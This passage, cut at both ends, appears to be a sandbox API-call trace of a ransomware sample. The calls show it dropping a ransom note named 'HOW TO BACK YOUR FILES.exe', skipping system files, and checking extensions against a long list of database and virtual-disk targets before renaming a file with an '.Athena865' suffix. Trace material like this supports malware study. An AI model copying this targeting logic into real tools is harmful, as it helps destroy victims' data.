ftLastWriteTime.dwLowDateTime=0x1eab37af, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0041.190] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0041.190] lstrcmpiW (lpString1="en-US", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.190] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1 [0041.190] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1 [0041.190] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1 [0041.190] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1 [0041.190] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1 [0041.190] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1 [0041.190] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1 [0041.190] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1 [0041.190] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1 [0041.190] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1 [0041.190] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1 [0041.190] lstrlenW (lpString="en-US") returned 5 [0041.190] lstrcpyW (in: lpString1=0x241e894, lpString2="en-US" | out: lpString1="en-US") returned="en-US" [0041.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c440 [0041.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x58) returned 0x529250 [0041.191] lstrcatW (in: lpString1="en-US", lpString2="\\" | out: lpString1="en-US\\") returned="en-US\\" [0041.191] lstrcatW (in: lpString1="en-US\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="en-US\\HOW TO BACK YOUR FILES.exe") returned="en-US\\HOW TO BACK YOUR FILES.exe" [0041.191] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\windows photo viewer\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1 [0041.193] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e58ba90, ftCreationTime.dwHighDateTime=0x1d516e4, ftLastAccessTime.dwLowDateTime=0x8d31f240, ftLastAccessTime.dwHighDateTime=0x1d4f71d, ftLastWriteTime.dwLowDateTime=0x8d31f240, ftLastWriteTime.dwHighDateTime=0x1d4f71d, nFileSizeHigh=0x0, nFileSizeLow=0x12800, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="floatchevroletalaska.exe", cAlternateFileName="FLOATC~1.EXE")) returned 1 [0041.193] lstrcmpiW (lpString1="floatchevroletalaska.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0041.193] lstrcmpiW (lpString1="floatchevroletalaska.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0041.193] lstrcmpiW (lpString1="floatchevroletalaska.exe", lpString2=".") returned 1 [0041.193] lstrcmpiW (lpString1="floatchevroletalaska.exe", lpString2="..") returned 1 [0041.193] lstrcmpiW (lpString1="floatchevroletalaska.exe", lpString2="windows") returned -1 [0041.193] lstrcmpiW (lpString1="floatchevroletalaska.exe", lpString2="bootmgr") returned 1 [0041.193] lstrcmpiW (lpString1="floatchevroletalaska.exe", lpString2="temp") returned -1 [0041.193] lstrcmpiW (lpString1="floatchevroletalaska.exe", lpString2="pagefile.sys") returned -1 [0041.193] lstrcmpiW (lpString1="floatchevroletalaska.exe", lpString2="boot") returned 1 [0041.193] lstrcmpiW (lpString1="floatchevroletalaska.exe", lpString2="ids.txt") returned -1 [0041.193] lstrcmpiW (lpString1="floatchevroletalaska.exe", lpString2="ntuser.dat") returned -1 [0041.193] lstrcmpiW (lpString1="floatchevroletalaska.exe", lpString2="perflogs") returned -1 [0041.193] lstrcmpiW (lpString1="floatchevroletalaska.exe", lpString2="MSBuild") returned -1 [0041.193] lstrlenW (lpString="floatchevroletalaska.exe") returned 24 [0041.193] lstrcpyW (in: lpString1=0x241e894, lpString2="floatchevroletalaska.exe" | out: lpString1="floatchevroletalaska.exe") returned="floatchevroletalaska.exe" [0041.193] lstrlenW (lpString="floatchevroletalaska.exe") returned 24 [0041.193] lstrlenW (lpString="Athena865") returned 9 [0041.193] lstrcmpiW (lpString1="laska.exe", lpString2="Athena865") returned 1 [0041.193] lstrlenW (lpString=".dll") returned 4 [0041.193] lstrcmpiW (lpString1="floatchevroletalaska.exe", lpString2=".dll") returned 1 [0041.194] lstrlenW (lpString=".lnk") returned 4 [0041.194] lstrcmpiW (lpString1="floatchevroletalaska.exe", lpString2=".lnk") returned 1 [0041.194] lstrlenW (lpString=".ini") returned 4 [0041.194] lstrcmpiW (lpString1="floatchevroletalaska.exe", lpString2=".ini") returned 1 [0041.194] lstrlenW (lpString=".sys") returned 4 [0041.194] lstrcmpiW (lpString1="floatchevroletalaska.exe", lpString2=".sys") returned 1 [0041.194] lstrlenW (lpString="floatchevroletalaska.exe") returned 24 [0041.194] lstrlenW (lpString="bak") returned 3 [0041.194] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0041.194] lstrlenW (lpString="ba_") returned 3 [0041.194] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0041.194] lstrlenW (lpString="dbb") returned 3 [0041.194] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0041.194] lstrlenW (lpString="vmdk") returned 4 [0041.194] lstrcmpiW (lpString1=".exe", lpString2="vmdk") returned -1 [0041.194] lstrlenW (lpString="rar") returned 3 [0041.194] lstrcmpiW (lpString1="exe", lpString2="rar") returned -1 [0041.194] lstrlenW (lpString="zip") returned 3 [0041.194] lstrcmpiW (lpString1="exe", lpString2="zip") returned -1 [0041.194] lstrlenW (lpString="tgz") returned 3 [0041.194] lstrcmpiW (lpString1="exe", lpString2="tgz") returned -1 [0041.194] lstrlenW (lpString="vbox") returned 4 [0041.194] lstrcmpiW (lpString1=".exe", lpString2="vbox") returned -1 [0041.194] lstrlenW (lpString="vdi") returned 3 [0041.194] lstrcmpiW (lpString1="exe", lpString2="vdi") returned -1 [0041.194] lstrlenW (lpString="vhd") returned 3 [0041.194] lstrcmpiW (lpString1="exe", lpString2="vhd") returned -1 [0041.194] lstrlenW (lpString="vhdx") returned 4 [0041.194] lstrcmpiW (lpString1=".exe", lpString2="vhdx") returned -1 [0041.194] lstrlenW (lpString="avhd") returned 4 [0041.194] lstrcmpiW (lpString1=".exe", lpString2="avhd") returned -1 [0041.194] lstrlenW (lpString="db") returned 2 [0041.194] lstrcmpiW (lpString1="xe", lpString2="db") returned 1 [0041.194] lstrlenW (lpString="db2") returned 3 [0041.194] lstrcmpiW (lpString1="exe", lpString2="db2") returned 1 [0041.194] lstrlenW (lpString="db3") returned 3 [0041.194] lstrcmpiW (lpString1="exe", lpString2="db3") returned 1 [0041.194] lstrlenW (lpString="dbf") returned 3 [0041.195] lstrcmpiW (lpString1="exe", lpString2="dbf") returned 1 [0041.195] lstrlenW (lpString="mdf") returned 3 [0041.195] lstrcmpiW (lpString1="exe", lpString2="mdf") returned -1 [0041.195] lstrlenW (lpString="mdb") returned 3 [0041.195] lstrcmpiW (lpString1="exe", lpString2="mdb") returned -1 [0041.195] lstrlenW (lpString="sql") returned 3 [0041.195] lstrcmpiW (lpString1="exe", lpString2="sql") returned -1 [0041.195] lstrlenW (lpString="sqlite") returned 6 [0041.195] lstrcmpiW (lpString1="ka.exe", lpString2="sqlite") returned -1 [0041.195] lstrlenW (lpString="sqlite3") returned 7 [0041.195] lstrcmpiW (lpString1="ska.exe", lpString2="sqlite3") returned -1 [0041.195] lstrlenW (lpString="sqlitedb") returned 8 [0041.195] lstrcmpiW (lpString1="aska.exe", lpString2="sqlitedb") returned -1 [0041.195] lstrlenW (lpString="xml") returned 3 [0041.195] lstrcmpiW (lpString1="exe", lpString2="xml") returned -1 [0041.195] lstrlenW (lpString="$er") returned 3 [0041.195] lstrcmpiW (lpString1="exe", lpString2="$er") returned 1 [0041.195] lstrlenW (lpString="4dd") returned 3 [0041.195] lstrcmpiW (lpString1="exe", lpString2="4dd") returned 1 [0041.195] lstrlenW (lpString="4dl") returned 3 [0041.195] lstrcmpiW (lpString1="exe", lpString2="4dl") returned 1 [0041.195] lstrlenW (lpString="^^^") returned 3 [0041.195] lstrcmpiW (lpString1="exe", lpString2="^^^") returned 1 [0041.195] lstrlenW (lpString="abs") returned 3 [0041.195] lstrcmpiW (lpString1="exe", lpString2="abs") returned 1 [0041.195] lstrlenW (lpString="abx") returned 3 [0041.195] lstrcmpiW (lpString1="exe", lpString2="abx") returned 1 [0041.195] lstrlenW (lpString="accdb") returned 5 [0041.195] lstrcmpiW (lpString1="a.exe", lpString2="accdb") returned -1 [0041.195] lstrlenW (lpString="accdc") returned 5 [0041.195] lstrcmpiW (lpString1="a.exe", lpString2="accdc") returned -1 [0041.195] lstrlenW (lpString="accde") returned 5 [0041.195] lstrcmpiW (lpString1="a.exe", lpString2="accde") returned -1 [0041.195] lstrlenW (lpString="accdr") returned 5 [0041.195] lstrcmpiW (lpString1="a.exe", lpString2="accdr") returned -1 [0041.195] lstrlenW (lpString="accdt") returned 5 [0041.195] lstrcmpiW (lpString1="a.exe", lpString2="accdt") returned -1 [0041.196] lstrlenW (lpString="accdw") returned 5 [0041.196] lstrcmpiW (lpString1="a.exe", lpString2="accdw") returned -1 [0041.196] lstrlenW (lpString="accft") returned 5 [0041.196] lstrcmpiW (lpString1="a.exe", lpString2="accft") returned -1 [0041.196] lstrlenW (lpString="adb") returned 3 [0041.196] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0041.196] lstrlenW (lpString="adb") returned 3 [0041.196] lstrcmpiW (lpString1="exe", lpString2="adb") returned 1 [0041.196] lstrlenW (lpString="ade") returned 3 [0041.196] lstrcmpiW (lpString1="exe", lpString2="ade") returned 1 [0041.196] lstrlenW (lpString="adf") returned 3 [0041.196] lstrcmpiW (lpString1="exe", lpString2="adf") returned 1 [0041.196] lstrlenW (lpString="adn") returned 3 [0041.196] lstrcmpiW (lpString1="exe", lpString2="adn") returned 1 [0041.196] lstrlenW (lpString="adp") returned 3 [0041.196] lstrcmpiW (lpString1="exe", lpString2="adp") returned 1 [0041.196] lstrlenW (lpString="alf") returned 3 [0041.196] lstrcmpiW (lpString1="exe", lpString2="alf") returned 1 [0041.196] lstrlenW (lpString="ask") returned 3 [0041.196] lstrcmpiW (lpString1="exe", lpString2="ask") returned 1 [0041.196] lstrlenW (lpString="btr") returned 3 [0041.196] lstrcmpiW (lpString1="exe", lpString2="btr") returned 1 [0041.196] lstrlenW (lpString="cat") returned 3 [0041.196] lstrcmpiW (lpString1="exe", lpString2="cat") returned 1 [0041.196] lstrlenW (lpString="cdb") returned 3 [0041.196] lstrcmpiW (lpString1="exe", lpString2="cdb") returned 1 [0041.196] lstrlenW (lpString="ckp") returned 3 [0041.196] lstrcmpiW (lpString1="exe", lpString2="ckp") returned 1 [0041.196] lstrlenW (lpString="cma") returned 3 [0041.196] lstrcmpiW (lpString1="exe", lpString2="cma") returned 1 [0041.196] lstrlenW (lpString="cpd") returned 3 [0041.196] lstrcmpiW (lpString1="exe", lpString2="cpd") returned 1 [0041.196] lstrlenW (lpString="dacpac") returned 6 [0041.196] lstrcmpiW (lpString1="ka.exe", lpString2="dacpac") returned 1 [0041.196] lstrlenW (lpString="dad") returned 3 [0041.196] lstrcmpiW (lpString1="exe", lpString2="dad") returned 1 [0041.196] lstrlenW (lpString="dadiagrams") returned 10 [0041.196] lstrcmpiW (lpString1="alaska.exe", lpString2="dadiagrams") returned -1 [0041.196] lstrlenW (lpString="daschema") returned 8 [0041.197] lstrcmpiW (lpString1="aska.exe", lpString2="daschema") returned -1 [0041.197] lstrlenW (lpString="db-journal") returned 10 [0041.197] lstrcmpiW (lpString1="alaska.exe", lpString2="db-journal") returned -1 [0041.197] lstrlenW (lpString="db-shm") returned 6 [0041.197] lstrcmpiW (lpString1="ka.exe", lpString2="db-shm") returned 1 [0041.197] lstrlenW (lpString="db-wal") returned 6 [0041.197] lstrcmpiW (lpString1="ka.exe", lpString2="db-wal") returned 1 [0041.197] lstrlenW (lpString="dbc") returned 3 [0041.197] lstrcmpiW (lpString1="exe", lpString2="dbc") returned 1 [0041.197] lstrlenW (lpString="dbs") returned 3 [0041.197] lstrcmpiW (lpString1="exe", lpString2="dbs") returned 1 [0041.197] lstrlenW (lpString="dbt") returned 3 [0041.197] lstrcmpiW (lpString1="exe", lpString2="dbt") returned 1 [0041.197] lstrlenW (lpString="dbv") returned 3 [0041.197] lstrcmpiW (lpString1="exe", lpString2="dbv") returned 1 [0041.197] lstrlenW (lpString="dbx") returned 3 [0041.197] lstrcmpiW (lpString1="exe", lpString2="dbx") returned 1 [0041.197] lstrlenW (lpString="dcb") returned 3 [0041.197] lstrcmpiW (lpString1="exe", lpString2="dcb") returned 1 [0041.197] lstrlenW (lpString="dct") returned 3 [0041.197] lstrcmpiW (lpString1="exe", lpString2="dct") returned 1 [0041.197] lstrlenW (lpString="dcx") returned 3 [0041.197] lstrcmpiW (lpString1="exe", lpString2="dcx") returned 1 [0041.197] lstrlenW (lpString="ddl") returned 3 [0041.197] lstrcmpiW (lpString1="exe", lpString2="ddl") returned 1 [0041.197] lstrlenW (lpString="dlis") returned 4 [0041.197] lstrcmpiW (lpString1=".exe", lpString2="dlis") returned -1 [0041.197] lstrlenW (lpString="dp1") returned 3 [0041.197] lstrcmpiW (lpString1="exe", lpString2="dp1") returned 1 [0041.197] lstrlenW (lpString="dqy") returned 3 [0041.197] lstrcmpiW (lpString1="exe", lpString2="dqy") returned 1 [0041.197] lstrlenW (lpString="dsk") returned 3 [0041.197] lstrcmpiW (lpString1="exe", lpString2="dsk") returned 1 [0041.197] lstrlenW (lpString="dsn") returned 3 [0041.197] lstrcmpiW (lpString1="exe", lpString2="dsn") returned 1 [0041.197] lstrlenW (lpString="dtsx") returned 4 [0041.197] lstrcmpiW (lpString1=".exe", lpString2="dtsx") returned -1 [0041.197] lstrlenW (lpString="dxl") returned 3 [0041.197] lstrcmpiW (lpString1="exe", lpString2="dxl") returned 1 [0041.198] lstrlenW (lpString="eco") returned 3 [0041.198] lstrcmpiW (lpString1="exe", lpString2="eco") returned 1 [0041.198] lstrlenW (lpString="ecx") returned 3 [0041.198] lstrcmpiW (lpString1="exe", lpString2="ecx") returned 1 [0041.198] lstrlenW (lpString="edb") returned 3 [0041.198] lstrcmpiW (lpString1="exe", lpString2="edb") returned 1 [0041.198] lstrlenW (lpString="epim") returned 4 [0041.198] lstrcmpiW (lpString1=".exe", lpString2="epim") returned -1 [0041.198] lstrlenW (lpString="fcd") returned 3 [0041.198] lstrcmpiW (lpString1="exe", lpString2="fcd") returned -1 [0041.198] lstrlenW (lpString="fdb") returned 3 [0041.198] lstrcmpiW (lpString1="exe", lpString2="fdb") returned -1 [0041.198] lstrlenW (lpString="fic") returned 3 [0041.198] lstrcmpiW (lpString1="exe", lpString2="fic") returned -1 [0041.198] lstrlenW (lpString="flexolibrary") returned 12 [0041.198] lstrcmpiW (lpString1="etalaska.exe", lpString2="flexolibrary") returned -1 [0041.198] lstrlenW (lpString="fm5") returned 3 [0041.198] lstrcmpiW (lpString1="exe", lpString2="fm5") returned -1 [0041.198] lstrlenW (lpString="fmp") returned 3 [0041.198] lstrcmpiW (lpString1="exe", lpString2="fmp") returned -1 [0041.198] lstrlenW (lpString="fmp12") returned 5 [0041.198] lstrcmpiW (lpString1="a.exe", lpString2="fmp12") returned -1 [0041.198] lstrlenW (lpString="fmpsl") returned 5 [0041.198] lstrcmpiW (lpString1="a.exe", lpString2="fmpsl") returned -1 [0041.198] lstrlenW (lpString="fol") returned 3 [0041.198] lstrcmpiW (lpString1="exe", lpString2="fol") returned -1 [0041.198] lstrlenW (lpString="fp3") returned 3 [0041.198] lstrcmpiW (lpString1="exe", lpString2="fp3") returned -1 [0041.198] lstrlenW (lpString="fp4") returned 3 [0041.198] lstrcmpiW (lpString1="exe", lpString2="fp4") returned -1 [0041.198] lstrlenW (lpString="fp5") returned 3 [0041.198] lstrcmpiW (lpString1="exe", lpString2="fp5") returned -1 [0041.198] lstrlenW (lpString="fp7") returned 3 [0041.198] lstrcmpiW (lpString1="exe", lpString2="fp7") returned -1 [0041.198] lstrlenW (lpString="fpt") returned 3 [0041.198] lstrcmpiW (lpString1="exe", lpString2="fpt") returned -1 [0041.198] lstrlenW (lpString="frm") returned 3 [0041.198] lstrcmpiW (lpString1="exe", lpString2="frm") returned -1 [0041.199] lstrlenW (lpString="gdb") returned 3 [0041.199] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0041.199] lstrlenW (lpString="gdb") returned 3 [0041.199] lstrcmpiW (lpString1="exe", lpString2="gdb") returned -1 [0041.199] lstrlenW (lpString="grdb") returned 4 [0041.199] lstrcmpiW (lpString1=".exe", lpString2="grdb") returned -1 [0041.199] lstrlenW (lpString="gwi") returned 3 [0041.199] lstrcmpiW (lpString1="exe", lpString2="gwi") returned -1 [0041.199] lstrlenW (lpString="hdb") returned 3 [0041.199] lstrcmpiW (lpString1="exe", lpString2="hdb") returned -1 [0041.199] lstrlenW (lpString="his") returned 3 [0041.199] lstrcmpiW (lpString1="exe", lpString2="his") returned -1 [0041.199] lstrlenW (lpString="ib") returned 2 [0041.199] lstrcmpiW (lpString1="xe", lpString2="ib") returned 1 [0041.199] lstrlenW (lpString="idb") returned 3 [0041.199] lstrcmpiW (lpString1="exe", lpString2="idb") returned -1 [0041.199] lstrlenW (lpString="ihx") returned 3 [0041.199] lstrcmpiW (lpString1="exe", lpString2="ihx") returned -1 [0041.199] lstrlenW (lpString="itdb") returned 4 [0041.199] lstrcmpiW (lpString1=".exe", lpString2="itdb") returned -1 [0041.199] lstrlenW (lpString="itw") returned 3 [0041.199] lstrcmpiW (lpString1="exe", lpString2="itw") returned -1 [0041.199] lstrlenW (lpString="jet") returned 3 [0041.199] lstrcmpiW (lpString1="exe", lpString2="jet") returned -1 [0041.199] lstrlenW (lpString="jtx") returned 3 [0041.199] lstrcmpiW (lpString1="exe", lpString2="jtx") returned -1 [0041.199] lstrlenW (lpString="kdb") returned 3 [0041.199] lstrcmpiW (lpString1="exe", lpString2="kdb") returned -1 [0041.199] lstrlenW (lpString="kexi") returned 4 [0041.199] lstrcmpiW (lpString1=".exe", lpString2="kexi") returned -1 [0041.199] lstrlenW (lpString="kexic") returned 5 [0041.199] lstrcmpiW (lpString1="a.exe", lpString2="kexic") returned -1 [0041.199] lstrlenW (lpString="kexis") returned 5 [0041.199] lstrcmpiW (lpString1="a.exe", lpString2="kexis") returned -1 [0041.199] lstrlenW (lpString="lgc") returned 3 [0041.199] lstrcmpiW (lpString1="exe", lpString2="lgc") returned -1 [0041.199] lstrlenW (lpString="lwx") returned 3 [0041.199] lstrcmpiW (lpString1="exe", lpString2="lwx") returned -1 [0041.200] lstrlenW (lpString="maf") returned 3 [0041.200] lstrcmpiW (lpString1="exe", lpString2="maf") returned -1 [0041.200] lstrlenW (lpString="maq") returned 3 [0041.200] lstrcmpiW (lpString1="exe", lpString2="maq") returned -1 [0041.200] lstrlenW (lpString="mar") returned 3 [0041.200] lstrcmpiW (lpString1="exe", lpString2="mar") returned -1 [0041.200] lstrlenW (lpString="marshal") returned 7 [0041.200] lstrcmpiW (lpString1="ska.exe", lpString2="marshal") returned 1 [0041.200] lstrlenW (lpString="mas") returned 3 [0041.200] lstrcmpiW (lpString1="exe", lpString2="mas") returned -1 [0041.200] lstrlenW (lpString="mav") returned 3 [0041.200] lstrcmpiW (lpString1="exe", lpString2="mav") returned -1 [0041.200] lstrlenW (lpString="maw") returned 3 [0041.200] lstrcmpiW (lpString1="exe", lpString2="maw") returned -1 [0041.200] lstrlenW (lpString="mdbhtml") returned 7 [0041.200] lstrcmpiW (lpString1="ska.exe", lpString2="mdbhtml") returned 1 [0041.200] lstrlenW (lpString="mdn") returned 3 [0041.200] lstrcmpiW (lpString1="exe", lpString2="mdn") returned -1 [0041.200] lstrlenW (lpString="mdt") returned 3 [0041.200] lstrcmpiW (lpString1="exe", lpString2="mdt") returned -1 [0041.200] lstrlenW (lpString="mfd") returned 3 [0041.200] lstrcmpiW (lpString1="exe", lpString2="mfd") returned -1 [0041.200] lstrlenW (lpString="mpd") returned 3 [0041.200] lstrcmpiW (lpString1="exe", lpString2="mpd") returned -1 [0041.200] lstrlenW (lpString="mrg") returned 3 [0041.200] lstrcmpiW (lpString1="exe", lpString2="mrg") returned -1 [0041.200] lstrlenW (lpString="mud") returned 3 [0041.200] lstrcmpiW (lpString1="exe", lpString2="mud") returned -1 [0041.200] lstrlenW (lpString="mwb") returned 3 [0041.200] lstrcmpiW (lpString1="exe", lpString2="mwb") returned -1 [0041.200] lstrlenW (lpString="myd") returned 3 [0041.200] lstrcmpiW (lpString1="exe", lpString2="myd") returned -1 [0041.200] lstrlenW (lpString="ndf") returned 3 [0041.200] lstrcmpiW (lpString1="exe", lpString2="ndf") returned -1 [0041.200] lstrlenW (lpString="nnt") returned 3 [0041.200] lstrcmpiW (lpString1="exe", lpString2="nnt") returned -1 [0041.200] lstrlenW (lpString="nrmlib") returned 6 [0041.200] lstrcmpiW (lpString1="ka.exe", lpString2="nrmlib") returned -1 [0041.200] lstrlenW (lpString="ns2") returned 3 [0041.201] lstrcmpiW (lpString1="exe", lpString2="ns2") returned -1 [0041.201] lstrlenW (lpString="ns3") returned 3 [0041.201] lstrcmpiW (lpString1="exe", lpString2="ns3") returned -1 [0041.201] lstrlenW (lpString="ns4") returned 3 [0041.201] lstrcmpiW (lpString1="exe", lpString2="ns4") returned -1 [0041.201] lstrlenW (lpString="nsf") returned 3 [0041.201] lstrcmpiW (lpString1="exe", lpString2="nsf") returned -1 [0041.201] lstrlenW (lpString="nv") returned 2 [0041.201] lstrcmpiW (lpString1="xe", lpString2="nv") returned 1 [0041.201] lstrlenW (lpString="nv2") returned 3 [0041.201] lstrcmpiW (lpString1="exe", lpString2="nv2") returned -1 [0041.201] lstrlenW (lpString="nwdb") returned 4 [0041.201] lstrcmpiW (lpString1=".exe", lpString2="nwdb") returned -1 [0041.201] lstrlenW (lpString="nyf") returned 3 [0041.201] lstrcmpiW (lpString1="exe", lpString2="nyf") returned -1 [0041.201] lstrlenW (lpString="odb") returned 3 [0041.201] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0041.201] lstrlenW (lpString="odb") returned 3 [0041.201] lstrcmpiW (lpString1="exe", lpString2="odb") returned -1 [0041.201] lstrlenW (lpString="oqy") returned 3 [0041.201] lstrcmpiW (lpString1="exe", lpString2="oqy") returned -1 [0041.201] lstrlenW (lpString="ora") returned 3 [0041.201] lstrcmpiW (lpString1="exe", lpString2="ora") returned -1 [0041.201] lstrlenW (lpString="orx") returned 3 [0041.201] lstrcmpiW (lpString1="exe", lpString2="orx") returned -1 [0041.201] lstrlenW (lpString="owc") returned 3 [0041.201] lstrcmpiW (lpString1="exe", lpString2="owc") returned -1 [0041.201] lstrlenW (lpString="p96") returned 3 [0041.201] lstrcmpiW (lpString1="exe", lpString2="p96") returned -1 [0041.201] lstrlenW (lpString="p97") returned 3 [0041.201] lstrcmpiW (lpString1="exe", lpString2="p97") returned -1 [0041.201] lstrlenW (lpString="pan") returned 3 [0041.201] lstrcmpiW (lpString1="exe", lpString2="pan") returned -1 [0041.201] lstrlenW (lpString="pdb") returned 3 [0041.201] lstrcmpiW (lpString1="exe", lpString2="pdb") returned -1 [0041.201] lstrlenW (lpString="pdm") returned 3 [0041.204] lstrcmpiW (lpString1="exe", lpString2="pdm") returned -1 [0041.204] lstrlenW (lpString="pnz") returned 3 [0041.204] lstrcmpiW (lpString1="exe", lpString2="pnz") returned -1 [0041.205] lstrlenW (lpString="qry") returned 3 [0041.205] lstrcmpiW (lpString1="exe", lpString2="qry") returned -1 [0041.205] lstrlenW (lpString="qvd") returned 3 [0041.205] lstrcmpiW (lpString1="exe", lpString2="qvd") returned -1 [0041.205] lstrlenW (lpString="rbf") returned 3 [0041.205] lstrcmpiW (lpString1="exe", lpString2="rbf") returned -1 [0041.205] lstrlenW (lpString="rctd") returned 4 [0041.205] lstrcmpiW (lpString1=".exe", lpString2="rctd") returned -1 [0041.205] lstrlenW (lpString="rod") returned 3 [0041.205] lstrcmpiW (lpString1="exe", lpString2="rod") returned -1 [0041.205] lstrlenW (lpString="rodx") returned 4 [0041.205] lstrcmpiW (lpString1=".exe", lpString2="rodx") returned -1 [0041.205] lstrlenW (lpString="rpd") returned 3 [0041.205] lstrcmpiW (lpString1="exe", lpString2="rpd") returned -1 [0041.205] lstrlenW (lpString="rsd") returned 3 [0041.205] lstrcmpiW (lpString1="exe", lpString2="rsd") returned -1 [0041.205] lstrlenW (lpString="sas7bdat") returned 8 [0041.205] lstrcmpiW (lpString1="aska.exe", lpString2="sas7bdat") returned -1 [0041.205] lstrlenW (lpString="sbf") returned 3 [0041.205] lstrcmpiW (lpString1="exe", lpString2="sbf") returned -1 [0041.205] lstrlenW (lpString="scx") returned 3 [0041.205] lstrcmpiW (lpString1="exe", lpString2="scx") returned -1 [0041.205] lstrlenW (lpString="sdb") returned 3 [0041.205] lstrcmpiW (lpString1="exe", lpString2="sdb") returned -1 [0041.205] lstrlenW (lpString="sdc") returned 3 [0041.205] lstrcmpiW (lpString1="exe", lpString2="sdc") returned -1 [0041.205] lstrlenW (lpString="sdf") returned 3 [0041.205] lstrcmpiW (lpString1="exe", lpString2="sdf") returned -1 [0041.205] lstrlenW (lpString="sis") returned 3 [0041.205] lstrcmpiW (lpString1="exe", lpString2="sis") returned -1 [0041.205] lstrlenW (lpString="spq") returned 3 [0041.205] lstrcmpiW (lpString1="exe", lpString2="spq") returned -1 [0041.205] lstrlenW (lpString="te") returned 2 [0041.205] lstrcmpiW (lpString1="xe", lpString2="te") returned 1 [0041.205] lstrlenW (lpString="teacher") returned 7 [0041.205] lstrcmpiW (lpString1="ska.exe", lpString2="teacher") returned -1 [0041.205] lstrlenW (lpString="tmd") returned 3 [0041.206] lstrcmpiW (lpString1="exe", lpString2="tmd") returned -1 [0041.206] lstrlenW (lpString="tps") returned 3 [0041.206] lstrcmpiW (lpString1="exe", lpString2="tps") returned -1 [0041.206] lstrlenW (lpString="trc") returned 3 [0041.206] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0041.206] lstrlenW (lpString="trc") returned 3 [0041.206] lstrcmpiW (lpString1="exe", lpString2="trc") returned -1 [0041.206] lstrlenW (lpString="trm") returned 3 [0041.206] lstrcmpiW (lpString1="exe", lpString2="trm") returned -1 [0041.206] lstrlenW (lpString="udb") returned 3 [0041.206] lstrcmpiW (lpString1="exe", lpString2="udb") returned -1 [0041.206] lstrlenW (lpString="udl") returned 3 [0041.206] lstrcmpiW (lpString1="exe", lpString2="udl") returned -1 [0041.206] lstrlenW (lpString="usr") returned 3 [0041.206] lstrcmpiW (lpString1="exe", lpString2="usr") returned -1 [0041.206] lstrlenW (lpString="v12") returned 3 [0041.206] lstrcmpiW (lpString1="exe", lpString2="v12") returned -1 [0041.206] lstrlenW (lpString="vis") returned 3 [0041.206] lstrcmpiW (lpString1="exe", lpString2="vis") returned -1 [0041.206] lstrlenW (lpString="vpd") returned 3 [0041.206] lstrcmpiW (lpString1="exe", lpString2="vpd") returned -1 [0041.206] lstrlenW (lpString="vvv") returned 3 [0041.206] lstrcmpiW (lpString1="exe", lpString2="vvv") returned -1 [0041.206] lstrlenW (lpString="wdb") returned 3 [0041.206] lstrcmpiW (lpString1="exe", lpString2="wdb") returned -1 [0041.206] lstrlenW (lpString="wmdb") returned 4 [0041.206] lstrcmpiW (lpString1=".exe", lpString2="wmdb") returned -1 [0041.206] lstrlenW (lpString="wrk") returned 3 [0041.206] lstrcmpiW (lpString1="exe", lpString2="wrk") returned -1 [0041.206] lstrlenW (lpString="xdb") returned 3 [0041.206] lstrcmpiW (lpString1="exe", lpString2="xdb") returned -1 [0041.206] lstrlenW (lpString="xld") returned 3 [0041.206] lstrcmpiW (lpString1="exe", lpString2="xld") returned -1 [0041.206] lstrlenW (lpString="xmlff") returned 5 [0041.206] lstrcmpiW (lpString1="a.exe", lpString2="xmlff") returned -1 [0041.206] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Windows Photo Viewer\\floatchevroletalaska.exe.Athena865") returned 72 [0041.206] MoveFileExW (lpExistingFileName="C:\\Program Files\\Windows Photo Viewer\\floatchevroletalaska.exe" (normalized: "c:\\program files\\windows photo viewer\\floatchevroletalaska.exe"), lpNewFileName="C:\\Program Files\\Windows Photo Viewer\\floatchevroletalaska.exe.Athena865" (normalized: "c:\\program files\\windows photo viewer\\floatchevroletalaska.exe.athena865"), dwFlags=0x1) returned 1 [0041.207] CreateFileW (lpFileName="C:\\Program Files\\Windows Photo Viewer\\floatchevroletalaska.exe.Athena865" (normalized: "c:\\program files\\windows photo viewer\\floatchevroletalaska.exe.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0xffffffff [0041.207] GetLastError () returned 0x20 [0041.207] wsprintfA (in: param_1=0x241db48, 